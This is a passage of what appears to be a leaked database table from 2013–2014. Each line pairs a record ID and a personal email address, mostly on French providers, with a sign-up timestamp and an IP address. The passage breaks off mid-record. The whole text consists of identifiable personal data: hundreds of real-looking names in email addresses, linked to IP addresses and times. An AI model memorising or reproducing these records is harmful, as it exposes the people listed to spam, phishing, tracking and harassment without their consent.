+1675;nathalienonnotte17430@gmail.com;2013-12-11 16:37:37;79.86.245.76 +1677;VIOBACC@hotmail.com;2013-12-11 19:44:26;93.19.170.123 +1678;lemaitrecyndi@gmail.com;2013-12-11 20:13:09;87.90.75.161 +1679;Kloelevek@hotmail.com;2013-12-11 22:58:39;89.80.105.208 +1680;patricia.declomesnil@orange.fr;2013-12-12 00:00:33;86.215.27.185 +1681;veronika.erhardt@gmail.com;2013-12-12 00:34:21;213.233.149.13 +1682;parapharmacie.agneaux@scanormande.fr;2013-12-12 10:46:25;90.80.93.173 +1683;martine.vignoles@gmail.com;2013-12-12 13:14:09;195.83.253.2 +1685;franve@live.be;2013-12-12 16:59:52;109.131.4.80 +1686;nancysamad7@gmail.com;2013-12-12 18:00:42;78.249.16.216 +1687;chrisalyd@orange.fr;2013-12-12 19:00:45;90.52.75.105 +1688;aurelie.vignal@yahoo.fr;2013-12-12 21:12:51;78.125.140.206 +1689;hbarbara2@hotmail.com;2013-12-12 22:13:56;2.5.176.173 +1690;virg74.cousin@gmail.com;2013-12-13 10:22:40;81.252.84.66 +1692;catherinelatrech@yahoo.fr;2013-12-13 14:28:18;81.243.218.180 +1693;faustinegrange-lemesle@wanadoo.fr;2013-12-13 16:17:22;86.214.226.140 +1694;mademoisellealunettes@gmail.com;2013-12-13 16:58:53;78.218.13.141 +1695;pounettezion@gmail.com;2013-12-13 17:35:21;46.238.160.16 +1696;Fevriermi@free.fr;2013-12-13 17:35:24;82.231.156.121 +1697;helene@accent.fr;2013-12-13 18:58:58;82.249.12.197 +1698;elo0306@hotmail.fr;2013-12-13 20:55:03;92.150.198.231 +1699;nadege.artaud@yahoo.fr;2013-12-14 10:22:16;78.214.240.78 +1700;leifer.laetitia@hotmail.fr;2013-12-14 14:35:09;109.0.170.177 +1701;maroupie92@gmail.com;2013-12-14 17:12:03;82.231.209.60 +1702;maud.biguet@cegetel.net;2013-12-14 19:08:48;93.23.106.193 +1703;aliciachalin@gmail.com;2013-12-14 20:01:34;85.192.210.219 +1704;christine.airal@wanadoo.fr;2013-12-15 00:26:05;82.122.59.187 +1705;lilisue@hotmail.com;2013-12-15 09:29:15;84.5.119.179 +1706;laetitia.delbecque@gmail.com;2013-12-15 11:45:48;109.223.240.139 +1709;henchacri@msn.com;2013-12-15 17:55:55;78.248.1.12 +1710;funebre@live.fr;2013-12-15 18:50:35;78.120.13.141 +1711;lozodve@hotmail.com;2013-12-15 19:02:52;109.190.6.44 +1712;piot.jean-yves@orange.fr;2013-12-16 09:09:23;109.212.224.216 +1713;Nathdiabolo@gmail.com;2013-12-16 10:12:58;31.36.200.48 +1714;caprige@orange.fr;2013-12-16 11:07:08;82.126.83.23 +1715;amel.style@gmail.com;2013-12-16 17:10:28;37.175.192.217 +1716;melanie.lastre@gmail.com;2013-12-16 21:21:25;78.218.28.174 +1717;sarahmangold552@gmail.com;2013-12-16 22:51:58;83.152.168.236 +1718;poppy.rene@orange.fr;2013-12-16 23:21:17;81.251.216.207 +1719;gwengrimoin@hotmail.com;2013-12-16 23:27:58;2.2.210.185 +1720;carina.drocourt@gmail.com;2013-12-17 03:13:29;86.77.53.95 +1721;cassidy12@hotmail.fr;2013-12-17 03:48:26;78.124.36.100 +1722;clochette75@wanadoo.fr;2013-12-17 08:04:00;78.116.74.49 +1723;jucebox92@gmail.com;2013-12-17 19:19:43;79.82.40.38 +1724;leslie.joniaux@gmail.com;2013-12-17 21:57:04;92.141.167.5 +1725;dy.die@live.fr;2013-12-17 22:27:41;82.229.59.247 +1728;benedictepreux@orange.fr;2013-12-18 13:53:18;86.217.70.123 +1730;sabrina.regionest@yahoo.fr;2013-12-18 16:27:16;2.2.80.102 +1731;emiliejanet@gmail.com;2013-12-18 18:30:29;81.65.158.94 +1732;chloe.hpflex@gmail.com;2013-12-19 14:51:49;62.82.198.19 +1733;francoise.baret@wanadoo.fr;2013-12-19 15:08:36;80.8.142.110 +1734;dianasellier@hotmail.fr;2013-12-19 23:58:49;93.16.54.240 +1735;melleret.nora@gmail.com;2013-12-20 09:02:21;193.202.91.11 +1736;monnierpass@sfr.fr;2013-12-20 11:17:20;78.119.49.36 +1737;m_delaunay7@yahoo.fr;2013-12-20 16:13:01;62.161.58.235 +1738;laetitia.delbecque@gmail.fr;2013-12-20 17:22:28;109.223.116.245 +1739;largouet.mathilde@hotmail.fr;2013-12-21 00:01:37;109.10.128.155 +1740;svefer55@hotmail.fr;2013-12-21 00:16:28;83.200.232.53 +1741;ameliegaget@hotmail.com;2013-12-21 01:15:55;31.33.20.125 +1742;lauren.cantie@googlemail.com;2013-12-21 16:44:48;109.24.247.27 +1743;sylvie.fieux@free.fr;2013-12-21 16:48:13;78.239.167.67 +1744;soro.sandrine@free.fr;2013-12-21 21:33:52;88.177.27.70 +1745;marina.st-jalmes@orange.fr;2013-12-22 10:20:19;83.199.8.160 +1746;corinechei@aol.com;2013-12-22 10:45:24;86.75.41.61 +1748;blandinepastore@gmail.com;2013-12-22 12:09:13;77.205.217.167 +1749;delphine.lay@orange.fr;2013-12-22 13:35:08;2.2.41.115 +1750;eliane_bertrand@hotmail.fr;2013-12-22 13:42:42;90.37.130.74 +1751;guydani@orange.fr;2013-12-22 14:03:31;90.6.104.243 +1752;capalu1@orange.fr;2013-12-22 14:16:49;83.202.70.142 +1753;nadia.nunez@orange.fr;2013-12-22 14:28:39;90.11.3.36 +1754;delsautch@aol.com;2013-12-22 14:47:41;89.170.174.253 +1755;Sophie.serna@hotmail.fr;2013-12-22 17:26:45;81.65.210.227 +1756;cam_beve@hotmail.fr;2013-12-22 19:51:51;86.67.42.198 +1757;mariepaule.buffa@sfr.fr;2013-12-22 21:05:03;93.31.236.180 +1759;olicia@wanadoo.fr;2013-12-23 07:25:21;82.127.25.45 +1760;stra75@free.fr;2013-12-23 07:57:34;88.171.134.170 +1761;fannyfraixbavuz@aol.com;2013-12-23 14:20:07;86.75.7.246 +1762;anais.hosselet@laposte.net;2013-12-23 14:49:18;93.29.158.215 +1763;ricos971@hotmail.fr;2013-12-23 16:09:02;5.187.101.42 +1764;natladybird@live.fr;2013-12-23 17:14:14;109.25.77.247 +1765;sev0310@hotmail.com;2013-12-23 18:47:51;87.89.62.246 +1766;virginiechook@hotmail.fr;2013-12-24 15:13:37;46.218.137.155 +1768;sodu562008@hotmail.fr;2013-12-24 21:50:12;31.38.81.28 +1769;julie.seral@esc.pau.net;2013-12-24 23:12:29;78.203.192.5 +1771;pizellea@voila.fr;2013-12-25 18:32:48;88.163.31.188 +1772;mxgirl29@hotmail.fr;2013-12-25 20:14:09;86.71.9.23 +1773;marbachclothilde@gmail.com;2013-12-26 09:05:50;78.124.22.192 +1775;wmartincorinne@hotmail.fr;2013-12-26 11:36:37;80.12.100.253 +1776;lucy_henry@hotmail.fr;2013-12-26 15:31:24;90.23.184.248 +1777;catherine.carrilho@laposte.net;2013-12-26 16:02:15;83.196.235.78 +1778;28fleur@gmail.com;2013-12-26 19:06:08;109.130.74.156 +1780;miloue29@Yahoo.fr;2013-12-27 11:11:07;193.253.141.80 +1781;lm002@free.fr;2013-12-27 12:36:50;82.232.93.201 +1782;joannacoryndon@gmail.com;2013-12-27 16:17:01;85.211.187.164 +1783;moifelicia@hotmail.fr;2013-12-27 17:29:53;86.213.220.192 +1784;marine.gueret@live.fr;2013-12-27 18:56:41;2.9.204.8 +1785;sandrine.moglia@sfr.fr;2013-12-27 22:19:21;77.203.243.168 +1786;cavagnig.stella@hotmail.fr;2013-12-27 22:39:08;86.213.220.192 +1787;audrey76230@hotmail.fr;2013-12-27 23:24:57;90.23.204.239 +1788;genevieve.de-wever@orange.fr;2013-12-28 10:04:57;86.211.152.155 +1789;alubet16@yahoo.fr;2013-12-28 12:26:02;80.236.17.19 +1791;cedric.delphine@bbox.fr;2013-12-28 14:45:23;194.5.134.179 +1792;sabine_berghs@yahoo.Com;2013-12-28 18:00:29;85.170.74.186 +1793;corinnemezy@gmail.com;2013-12-28 18:53:43;92.90.26.108 +1794;parmeval@sfr.fr;2013-12-29 01:07:37;79.81.43.232 +1795;ipxena@hotmail.com;2013-12-29 11:07:17;78.126.116.12 +1796;amandine.jean95@sfr.fr;2013-12-29 12:43:23;92.152.147.44 +1797;pauljoseph.agnes@gmail.com;2013-12-29 22:00:55;176.179.84.20 +1798;dhalluinmary@hotmail.com;2013-12-30 13:15:37;80.12.91.152 +1799;steflobietti@yahoo.fr;2013-12-30 13:37:14;83.194.114.82 +1800;kamdevil@hotmail.com;2013-12-30 15:29:21;84.233.143.222 +1801;anne-marie.gorkovas@hotmail.fr;2013-12-30 15:57:04;109.89.198.155 +1802;felicieossi@yahoo.fr;2013-12-30 16:38:08;78.239.190.83 +1803;archeo17@aol.com;2013-12-30 17:18:28;5.50.85.166 +1804;auroreannette@sfr.fr;2013-12-30 17:28:04;109.25.91.83 +1805;lajane761@hotmail.fr;2013-12-30 22:22:39;82.224.249.237 +1806;galinette42@hotmail.com;2013-12-31 00:19:34;78.236.185.54 +1807;gwenaelle.delouard@gmail.com;2013-12-31 04:55:48;109.7.194.238 +1808;maggy19@hotmail.fr;2013-12-31 11:35:31;178.21.179.244 +1809;huguette.gritti@moselle.gouv.fr;2013-12-31 14:46:51;89.156.75.195 +1810;grittih@gmail.com;2013-12-31 14:52:19;89.156.75.195 +1811;naimamaaa@hotmail.fr;2013-12-31 18:19:27;78.192.201.114 +1812;hlorenzihardouin@gmail.com;2013-12-31 18:23:52;82.241.219.11 +1813;braesch.carmen@orange.fr;2014-01-01 11:53:26;86.197.4.81 +1814;lylloo69@hotmail.com;2014-01-01 12:25:37;90.46.190.26 +1815;brcouderc@hotmail.fr;2014-01-01 13:04:58;88.126.112.16 +1816;nathdubrulle@free.fr;2014-01-01 14:03:55;78.234.3.66 +1817;marylin.essig@free.fr;2014-01-01 14:16:15;78.232.85.60 +1818;martine22009@hotmail.fr;2014-01-02 09:46:49;93.29.81.159 +1819;lunenpleinjour@gmail.com;2014-01-02 10:27:23;194.4.7.132 +1820;alexandraa.jimenez@yahoo.fr;2014-01-02 14:15:15;83.201.30.68 +1821;alexandra-lindsay@hotmail.fr;2014-01-02 14:39:03;82.123.92.123 +1822;anastasia.d22@gmail.com;2014-01-02 15:34:30;46.218.197.159 +1823;nelly.suard@orange.fr;2014-01-02 17:54:19;89.2.69.197 +1824;paulinegb67@gmail.com;2014-01-03 08:18:26;176.179.121.176 +1825;valpharmacien@yahoo.fr;2014-01-03 15:09:09;81.246.175.212 +1826;cc.bellec@gmail.com;2014-01-03 18:55:58;83.197.126.69 +1827;marinejoelle@yahoo.fr;2014-01-03 20:09:54;80.11.70.55 +1828;francoise.drouard@free.fr;2014-01-03 20:58:02;88.177.142.250 +1829;ilovemua@hotmail.fr;2014-01-03 23:53:20;78.212.149.100 +1830;greuxnadine@msn.com;2014-01-04 00:32:16;84.101.40.195 +1831;Marine.malandain@gmail.com;2014-01-04 01:31:49;92.90.26.47 +1833;isa_troucelier@hotmail.com;2014-01-04 13:11:14;109.18.13.175 +1834;guerlavais@hotmail.fr;2014-01-04 13:29:07;86.220.47.137 +1835;laets63@gmail.com;2014-01-04 17:00:43;86.71.25.236 +1836;ccalmettes@gmail.com;2014-01-04 19:17:16;212.198.149.212 +1837;ptitenat.59@gmail.com;2014-01-05 00:48:33;81.66.9.25 +1838;lu.riche@laposte.net;2014-01-05 11:14:54;31.38.152.81 +1839;oliviadeslandes@gmail.com;2014-01-05 11:55:02;86.69.216.91 +1840;muriel-baron@wanadoo.fr;2014-01-05 12:15:05;90.11.2.7 +1841;blondeau.delamare@wanadoo.fr;2014-01-05 15:34:11;82.126.140.160 +1842;annelaure.guillaneau@gmail.com;2014-01-05 16:29:52;83.200.84.203 +1843;carinepri@aol.com;2014-01-05 17:33:04;2.14.35.108 +1844;auriac.marie@gmail.com;2014-01-05 17:53:51;81.220.46.193 +1845;noursine20@hotmail.com;2014-01-06 07:26:10;31.32.79.90 +1846;stefani.smet@hotmail.fr;2014-01-06 09:47:12;87.90.228.228 +1847;emilie.dew@live.fr;2014-01-06 10:26:05;91.230.0.56 +1848;hleila831@gmail.com;2014-01-06 15:50:17;80.82.238.70 +1849;florimuche@hotmail.fr;2014-01-06 16:21:19;109.14.182.245 +1850;gableo@wanadoo.fr;2014-01-06 18:16:02;194.126.236.216 +1851;eve.kamm@orange.fr;2014-01-06 18:46:17;82.125.65.86 +1852;barbara.bonnet09@gmail.com;2014-01-07 01:12:01;109.10.54.2 +1853;ditdje@hotmail.com;2014-01-07 10:19:22;136.173.162.129 +1854;armande.64@hotmail.fr;2014-01-07 14:47:11;109.222.100.175 +1855;corinne.laudigeois@hotmail.fr;2014-01-07 16:10:16;88.173.85.169 +1856;florence.mallet@gmail.com;2014-01-07 18:19:57;88.188.248.42 +1857;ileanamaniu@yahoo.com;2014-01-07 20:55:12;92.89.83.96 +1858;sylvie.bican@gmail.com;2014-01-08 11:16:16;80.231.198.215 +1859;piaperrot@wanadoo.fr;2014-01-08 13:47:35;88.137.72.138 +1860;mathilde.blin.mb@gmail.com;2014-01-08 16:05:42;90.85.73.66 +1862;ids.pellizon@wanadoo.fr;2014-01-08 21:12:09;109.208.107.193 +1863;lua595@yahoo.fr;2014-01-09 11:27:28;94.23.62.31 +1864;anouche_mushu@hotmail.fr;2014-01-09 15:52:14;109.190.99.117 +1865;sandraboop@hotmail.fr;2014-01-09 21:56:45;89.92.109.251 +1866;taliasad@yahoo.fr;2014-01-10 00:03:46;88.185.1.50 +1867;mbandrieu@orange.fr;2014-01-10 14:47:16;92.147.76.9 +1868;bmlhom@yahoo.fr;2014-01-10 15:23:07;83.167.60.14 +1869;terence_uk@yahoo.com;2014-01-10 15:44:18;81.178.230.23 +1870;dbuyse@laposte.net;2014-01-10 16:20:55;86.198.144.27 +1871;sandrapitzalis@hotmail.fr;2014-01-10 16:21:36;86.211.141.188 +1872;caminoah@yahoo.fr;2014-01-10 16:22:30;78.204.120.44 +1873;s-emmanuelle@hotmail.fr;2014-01-10 16:22:46;85.168.196.209 +1874;mathildelebrand@yahoo.fr;2014-01-10 16:23:45;37.26.179.122 +1875;juliette.vincent14@gmail.com;2014-01-10 16:24:17;81.49.165.39 +1876;chloe.luzillat@live.fr;2014-01-10 16:26:36;194.79.150.114 +1877;angelinafan2@hotmail.fr;2014-01-10 16:27:21;31.37.31.61 +1878;psycalicious@gmail.com;2014-01-10 16:27:50;139.165.21.195 +1879;aberthome@leanature.com;2014-01-10 16:29:19;81.80.44.125 +1880;alex6.thivin@laposte.net;2014-01-10 16:29:26;90.14.80.20 +1881;isabelle.lignon@wanadoo.fr;2014-01-10 16:29:49;88.123.185.148 +1882;stephcazenave@hotmail.fr;2014-01-10 16:30:59;78.123.46.183 +1883;jeanphilippe.zizek@gmail.com;2014-01-10 16:31:12;193.48.235.2 +1884;margauxbouvet@gmail.com;2014-01-10 16:31:27;85.69.72.95 +1885;f.delacourt@hotmail.fr;2014-01-10 16:33:48;78.210.154.109 +1886;sjnleblanc@gmail.com;2014-01-10 16:34:30;92.161.27.242 +1887;green-planet-59@hotmail.fr;2014-01-10 16:34:36;109.25.175.10 +1888;lau-dc83@hotmail.fr;2014-01-10 16:35:05;89.92.151.209 +1889;gerald.dosselaere@sfr.fr;2014-01-10 16:35:14;93.26.216.131 +1890;xaviere.coudun@free.fr;2014-01-10 16:35:19;82.239.84.227 +1891;bperez-monreal@club-internet.fr;2014-01-10 16:35:19;93.15.134.235 +1892;daassuncao.sandrine@live.fr;2014-01-10 16:35:21;78.241.100.103 +1893;gerald.dosselaere@live.fr;2014-01-10 16:35:32;93.26.216.131 +1894;mitra.etemmad@gmail.com;2014-01-10 16:35:53;79.94.23.146 +1895;p.gatineau02@yahoo.fr;2014-01-10 16:35:59;90.27.35.160 +1896;adelinedarvoux@free.fr;2014-01-10 16:36:04;88.176.233.186 +1897;akane.kuma@free.fr;2014-01-10 16:36:10;88.176.233.186 +1898;karine-jerem@hotmail.fr;2014-01-10 16:36:12;77.198.98.24 +1899;howardlechichi@free.fr;2014-01-10 16:36:17;88.176.233.186 +1900;ipvl@hotmail.fr;2014-01-10 16:36:42;92.128.10.99 +1901;nuss1954@yahoo.fr;2014-01-10 16:36:45;92.90.23.25 +1902;Lucie.sautarel@gmail.com;2014-01-10 16:37:59;37.160.232.62 +1903;magalitoullec@laposte.net;2014-01-10 16:38:03;2.10.175.127 +1904;lunedivineeve@gmail.com;2014-01-10 16:38:43;83.153.97.37 +1905;divineeve@hotmail.com;2014-01-10 16:38:52;83.153.97.37 +1907;sauretamandine@gmail.com;2014-01-10 16:39:00;86.193.202.250 +1908;mbpujalte@wanadoo.fr;2014-01-10 16:39:02;83.153.97.37 +1909;bernarddurieux42@orange.fr;2014-01-10 16:39:55;90.15.49.120 +1910;lili-ethan@hotmail.fr;2014-01-10 16:40:20;81.66.18.228 +1911;mailaumi@yahoo.fr;2014-01-10 16:40:36;86.215.71.77 +1912;philippe.vidal83@orange.fr;2014-01-10 16:42:08;77.234.45.130 +1913;catherine@nougmanov.fr;2014-01-10 16:46:59;86.74.94.178 +1915;veronique.paillette02@orange.fr;2014-01-10 16:48:59;90.18.154.83 +1916;boobi_baby_love@hotmail.com;2014-01-10 16:50:09;79.84.148.231 +1917;megannb@hotmail.fr;2014-01-10 16:52:40;92.147.127.131 +1918;Vanina.armani@orange.fr;2014-01-10 16:54:51;92.144.49.107 +1919;sweetlady29@hotmail.fr;2014-01-10 16:56:04;2.12.49.62 +1920;vicky_blue38@yahoo.fr;2014-01-10 16:57:14;82.232.1.54 +1921;nadege_ottone@yahoo.fr;2014-01-10 16:59:42;90.84.144.192 +1922;selkis71@hotmail.com;2014-01-10 17:00:36;82.242.121.69 +1924;co.carole@wanadoo.fr;2014-01-10 17:02:20;92.90.26.46 +1925;ceciler64@gmail.com;2014-01-10 17:02:53;82.250.161.230 +1926;dana_c65@hotmail.com;2014-01-10 17:04:10;92.90.26.46 +1927;line70@gmail.com;2014-01-10 17:04:11;86.77.112.8 +1928;sandrinetdavid27@free.fr;2014-01-10 17:05:01;78.222.69.63 +1929;flona6479@gmail.com;2014-01-10 17:05:07;62.34.144.73 +1930;veroniquethireau@gmail.com;2014-01-10 17:07:14;88.165.112.232 +1931;carbie810@aol.com;2014-01-10 17:07:38;54.240.197.233 +1932;elfique22@yahoo.fr;2014-01-10 17:11:59;81.53.118.150 +1933;isabelle.landreau@live.fr;2014-01-10 17:15:43;92.136.179.195 +1934;melanie.dieterlen@free.fr;2014-01-10 17:15:47;78.235.45.169 +1935;anneclairelefebure@gmail.com;2014-01-10 17:16:41;90.52.166.121 +1936;ludivine.gusse@orange.fr;2014-01-10 17:19:42;92.142.229.96 +1937;nathalie.jaudier@bbox.fr;2014-01-10 17:20:33;87.89.89.233 +1938;ibarbier@hotmail.fr;2014-01-10 17:21:31;89.90.93.99 +1939;bourdoisbb@yahoo.fr;2014-01-10 17:25:06;90.4.170.92 +1940;lucelapuce34@hotmail.fr;2014-01-10 17:28:22;86.202.204.93 +1941;pascale.adler@freesbee.fr;2014-01-10 17:29:02;82.224.118.233 +1942;concours-sandra@live.fr;2014-01-10 17:29:11;92.142.92.148 +1943;elody.g95@hotmail.fr;2014-01-10 17:38:03;84.97.52.188 +1944;domi2809@free.fr;2014-01-10 17:40:29;88.162.245.208 +1945;marykibeelou@yahoo.fr;2014-01-10 17:40:40;80.215.52.49 +1946;claire-vilhem@voila.fr;2014-01-10 17:40:50;88.163.83.8 +1947;anne.hakim@yahoo.fr;2014-01-10 17:45:37;109.11.227.115 +1948;fanyly8@orange.fr;2014-01-10 17:51:07;90.39.186.146 +1949;sncarre@aol.com;2014-01-10 17:52:15;77.84.143.161 +1950;bazzarette@hotmail.com;2014-01-10 17:58:44;93.9.87.224 +1952;lilou.guillaume@cegetel.net;2014-01-10 18:07:37;77.202.177.117 +1953;muriel.follet@sfr.fr;2014-01-10 18:09:54;79.92.137.125 +1954;clemencelefoll@hotmail.fr;2014-01-10 18:10:58;188.224.29.44 +1955;catherine.bartkowiak@gmail.com;2014-01-10 18:21:58;77.205.227.81 +1956;corinne.froment9@orange.fr;2014-01-10 18:22:35;86.202.164.75 +1957;penelope.perrichot@gmail.com;2014-01-10 18:24:32;78.127.91.152 +1958;dumcarine@wanadoo.fr;2014-01-10 18:27:28;90.4.51.81 +1959;vuibert@hotmail.com;2014-01-10 18:28:03;212.198.24.53 +1960;sandracollart@yahoo.fr;2014-01-10 18:30:47;90.18.94.106 +1961;lola-30@hotmail.fr;2014-01-10 18:35:57;84.102.222.151 +1962;djamila.sarrazin@orange.fr;2014-01-10 18:39:52;90.51.77.95 +1963;marie-pierre.berthod@orange.fr;2014-01-10 18:42:48;92.157.150.212 +1964;rozlyn78@gmail.com;2014-01-10 18:52:13;82.232.185.148 +1965;mumu_8412@hotmail.com;2014-01-10 18:52:44;81.242.70.208 +1966;Soph_mdc@yahoo.fr;2014-01-10 19:06:15;88.176.241.64 +1967;lachouffe34@hotmail.fr;2014-01-10 19:11:59;79.82.7.68 +1968;nathan.linux@yahoo.fr;2014-01-10 19:14:29;90.23.122.203 +1969;106pierrot59@free.fr;2014-01-10 19:17:12;88.161.192.231 +1970;Cecilegirardet@hotmail.fr;2014-01-10 19:19:32;90.84.144.246 +1971;nathabe@live.fr;2014-01-10 19:24:51;78.231.169.55 +1972;ameb65@hotmail.com;2014-01-10 19:37:15;86.66.210.252 +1973;sandrinebittmann@hotmail.com;2014-01-10 19:51:34;86.204.106.113 +1974;airbeach@yahoo.fr;2014-01-10 19:54:16;81.251.77.62 +1975;jlullier3@gmail.com;2014-01-10 19:55:51;88.122.108.51 +1976;lili84330@hotmail.fr;2014-01-10 20:11:34;78.229.89.34 +1977;A.leray8@hotmail.fr;2014-01-10 20:16:06;109.18.59.26 +1978;BACCELINIMF@hotmail.fr;2014-01-10 20:19:55;88.136.115.138 +1979;niquedoule@hotmail.com;2014-01-10 20:22:55;90.7.174.49 +1980;nadia_chaaben@yahoo.fr;2014-01-10 20:31:47;78.251.160.48 +1981;marguerite.buet@neuf.fr;2014-01-10 20:35:09;79.81.209.96 +1983;Mortreuxfamily@live.fr;2014-01-10 20:39:28;5.48.105.136 +1984;ad.ng@live.fr;2014-01-10 20:41:18;78.227.168.27 +1985;clo2506@gmail.com;2014-01-10 20:45:26;93.0.97.134 +1987;missstephy@live.fr;2014-01-10 21:20:57;88.162.39.59 +1988;dominique.lossignol@numericable.be;2014-01-10 21:30:47;46.253.165.210 +1989;sandradespreaux@yahoo.fr;2014-01-10 21:33:31;92.90.26.61 +1990;malwen2010@hotmail.fr;2014-01-10 21:38:55;82.248.173.60 +1991;ophelie.a@wanadoo.fr;2014-01-10 21:48:08;90.42.213.13 +1992;rallyegirl74@hotmail.fr;2014-01-10 21:48:16;90.42.213.13 +1993;teamopheliesport@yahoo.fr;2014-01-10 21:48:21;90.42.213.13 +1994;mariecc.furet@gmail.com;2014-01-10 21:54:35;84.99.149.18 +1995;dominiqueetcoco@msn.com;2014-01-10 21:54:36;89.170.136.136 +1996;caroline.passant@gmail.com;2014-01-10 22:08:13;87.231.190.190 +1997;vicchristine@orange.fr;2014-01-10 22:22:54;78.243.86.231 +1998;bazileannie@gmail.com;2014-01-10 22:44:30;78.230.104.171 +1999;michelepinfort@gmail.com;2014-01-10 22:46:32;79.93.35.17 +2000;albanedemaulde@free.fr;2014-01-10 23:03:00;2.14.187.135 +2001;virgisk8@gmail.com;2014-01-10 23:06:12;109.23.126.28 +2002;VAL4445@orange.fr;2014-01-10 23:06:44;92.140.191.185 +2003;adele-constan@live.fr;2014-01-10 23:12:07;86.73.134.60 +2004;nathalie.loncke@gmail.com;2014-01-10 23:21:47;213.189.162.146 +2005;djolf49@hotmail.fr;2014-01-10 23:27:45;77.197.113.111 +2006;Annesophiez@yahoo.fr;2014-01-10 23:30:08;86.198.113.62 +2008;gmesange@noos.fr;2014-01-11 00:35:26;89.226.56.46 +2009;mgweno@hotmail.fr;2014-01-11 00:35:39;89.226.56.46 +2010;audreyx216@gmail.com;2014-01-11 01:34:55;193.251.162.10 +2011;lolasample1@orange.fr;2014-01-11 02:50:05;92.143.249.177 +2012;fleurdujapon@hotmail.fr;2014-01-11 05:14:44;81.64.151.18 +2013;nadia.tonkin@laposte.net;2014-01-11 08:21:16;81.67.52.180 +2014;maurice.lardez@laposte.net;2014-01-11 08:21:24;81.67.52.180 +2015;e.lardez@laposte.net;2014-01-11 08:21:32;81.67.52.180 +2016;l.zehner@hotmail.fr;2014-01-11 08:41:23;82.243.96.240 +2017;cecile-nh@orange.fr;2014-01-11 09:06:05;109.219.17.60 +2018;charlotte.geoffroy@wanadoo.fr;2014-01-11 09:14:58;92.90.20.185 +2019;dfrimousse@ymail.com;2014-01-11 09:15:31;85.69.197.87 +2020;simca1200s@yahoo.fr;2014-01-11 09:15:41;85.69.197.87 +2021;sonia.908@orange.fr;2014-01-11 09:35:08;90.56.36.14 +2022;sylvie.schricke@gmail.com;2014-01-11 10:30:57;77.203.142.253 +2024;aboudjihad75@gmail.com;2014-01-11 10:55:29;82.234.72.64 +2026;jevidemongrenier@laposte.net;2014-01-11 11:41:23;90.57.168.123 +2027;hfav.mel@wanadoo.fr;2014-01-11 11:47:10;2.6.221.28 +2028;sabine.mailfert@laposte.net;2014-01-11 12:34:03;86.214.210.209 +2029;geraldinebourdache@yahoo.fr;2014-01-11 12:37:52;78.246.60.34 +2030;virginie.rougirel@gmail.com;2014-01-11 13:33:35;90.39.237.96 +2031;caro753st@gmail.com;2014-01-11 13:47:29;82.234.72.64 +2032;emiliebazin3@yahoo.fr;2014-01-11 14:55:42;90.51.8.20 +2033;s.brunoud@yahoo.fr;2014-01-11 15:32:57;90.42.175.241 +2034;magalielaw@gmail.com;2014-01-11 15:39:51;82.234.72.64 +2035;faridamo13@gmail.com;2014-01-11 16:09:04;82.234.72.64 +2036;Sab.ravat@gmail.com;2014-01-11 16:23:16;88.123.187.179 +2037;c.chapplain@yahoo.fr;2014-01-11 17:03:49;79.92.135.172 +2038;patrick.peyrou@wanadoo.fr;2014-01-11 17:21:39;80.14.174.206 +2039;Pharmacie-mercure@wanadoo.fr;2014-01-11 17:23:10;80.14.174.206 +2040;tatacoranno@hotmail.fr;2014-01-11 17:48:39;79.93.134.150 +2041;soraya.57@live.fr;2014-01-11 17:54:24;81.51.125.68 +2042;sandivine@hotmail.fr;2014-01-11 18:23:30;92.145.133.69 +2043;hyrokkin@aol.com;2014-01-11 18:30:16;176.180.39.225 +2044;jahya26@hotmail.fr;2014-01-11 19:15:58;88.136.181.67 +2045;38sylvie.raspail@gmail.com;2014-01-11 19:41:02;77.202.163.125 +2046;c.quinton6@laposte.net;2014-01-11 20:44:24;88.164.232.36 +2047;anneriomet@cegetel.net;2014-01-11 20:54:06;86.216.196.171 +2048;e.verhille.d@gmail.com;2014-01-11 20:54:09;81.66.36.173 +2049;denisejeu@gmail.com;2014-01-11 21:59:21;82.234.72.64 +2050;virginiecosse@hotmail.com;2014-01-11 22:22:14;92.139.74.128 +2051;anna_v54@hotmail.com;2014-01-11 22:27:51;86.208.2.5 +2052;djouher.benchiha@gmail.com;2014-01-11 23:08:21;93.2.237.166 +2053;karine.allonneau@hotmail.fr;2014-01-11 23:56:24;213.44.241.108 +2054;jodanelle@orange.fr;2014-01-12 00:03:32;90.39.239.106 +2055;jennievivemoi@gmail.com;2014-01-12 08:38:36;92.147.225.210 +2056;nicollexis@gmx.fr;2014-01-12 08:48:29;82.234.72.64 +2057;gerard.achilli@orange.fr;2014-01-12 08:58:59;2.4.253.235 +2058;momokajy@gmail.com;2014-01-12 09:06:30;82.234.72.64 +2059;lawcarolineco13@gmail.com;2014-01-12 09:38:49;82.234.72.64 +2060;goldcurdon@hotmail.fr;2014-01-12 09:51:16;82.234.72.64 +2061;marseilleblonde@gmx.fr;2014-01-12 10:18:05;82.234.72.64 +2062;neweco13@gmail.com;2014-01-12 11:39:52;82.234.72.64 +2063;maistreni@gmail.com;2014-01-12 12:21:09;82.234.72.64 +2064;noemiefantasyelfe@hotmail.fr;2014-01-12 13:06:00;89.227.65.231 +2065;aoki34dan@gmail.com;2014-01-12 13:24:47;82.234.72.64 +2066;oberlin@gmx.fr;2014-01-12 13:39:46;82.234.72.64 +2067;charloteroy@gmail.com;2014-01-12 14:02:57;82.234.72.64 +2068;cindyjeu28@gmail.com;2014-01-12 14:18:56;82.234.72.64 +2069;anakinsaky@yahoo.fr;2014-01-12 14:50:27;81.49.55.208 +2070;electro_fantics@hotmail.fr;2014-01-12 15:14:06;62.64.38.236 +2071;j.rais@laposte.net;2014-01-12 16:59:47;109.209.4.210 +2072;lydieg56@hotmail.fr;2014-01-12 17:49:54;78.240.116.79 +2073;nadine.quiles@wanadoo.fr;2014-01-12 18:22:05;83.196.251.219 +2074;jordanne13360@gmail.com;2014-01-12 19:13:43;82.234.72.64 +2075;charlotterhub-1@yahoo.com;2014-01-12 19:36:30;2.2.48.8 +2076;carmen31600@gmail.com;2014-01-12 19:37:57;82.234.72.64 +2077;redkara@gmx.fr;2014-01-12 19:46:12;82.234.72.64 +2078;anne.kiecken@bbox.fr;2014-01-12 19:54:33;87.89.188.193 +2079;pelvis2301@gmail.com;2014-01-12 20:02:39;82.234.72.64 +2080;mathi3412@gmail.com;2014-01-12 20:15:44;82.234.72.64 +2081;katia.rethoret@gmail.com;2014-01-12 23:06:30;90.53.151.163 +2082;marjorie34250palavas@gmail.com;2014-01-12 23:33:17;82.234.72.64 +2083;herve.boulain@sfr.fr;2014-01-12 23:34:00;88.139.43.99 +2084;alternativenow@gmx.fr;2014-01-12 23:52:10;82.234.72.64 +2085;gaelle21@gmx.fr;2014-01-13 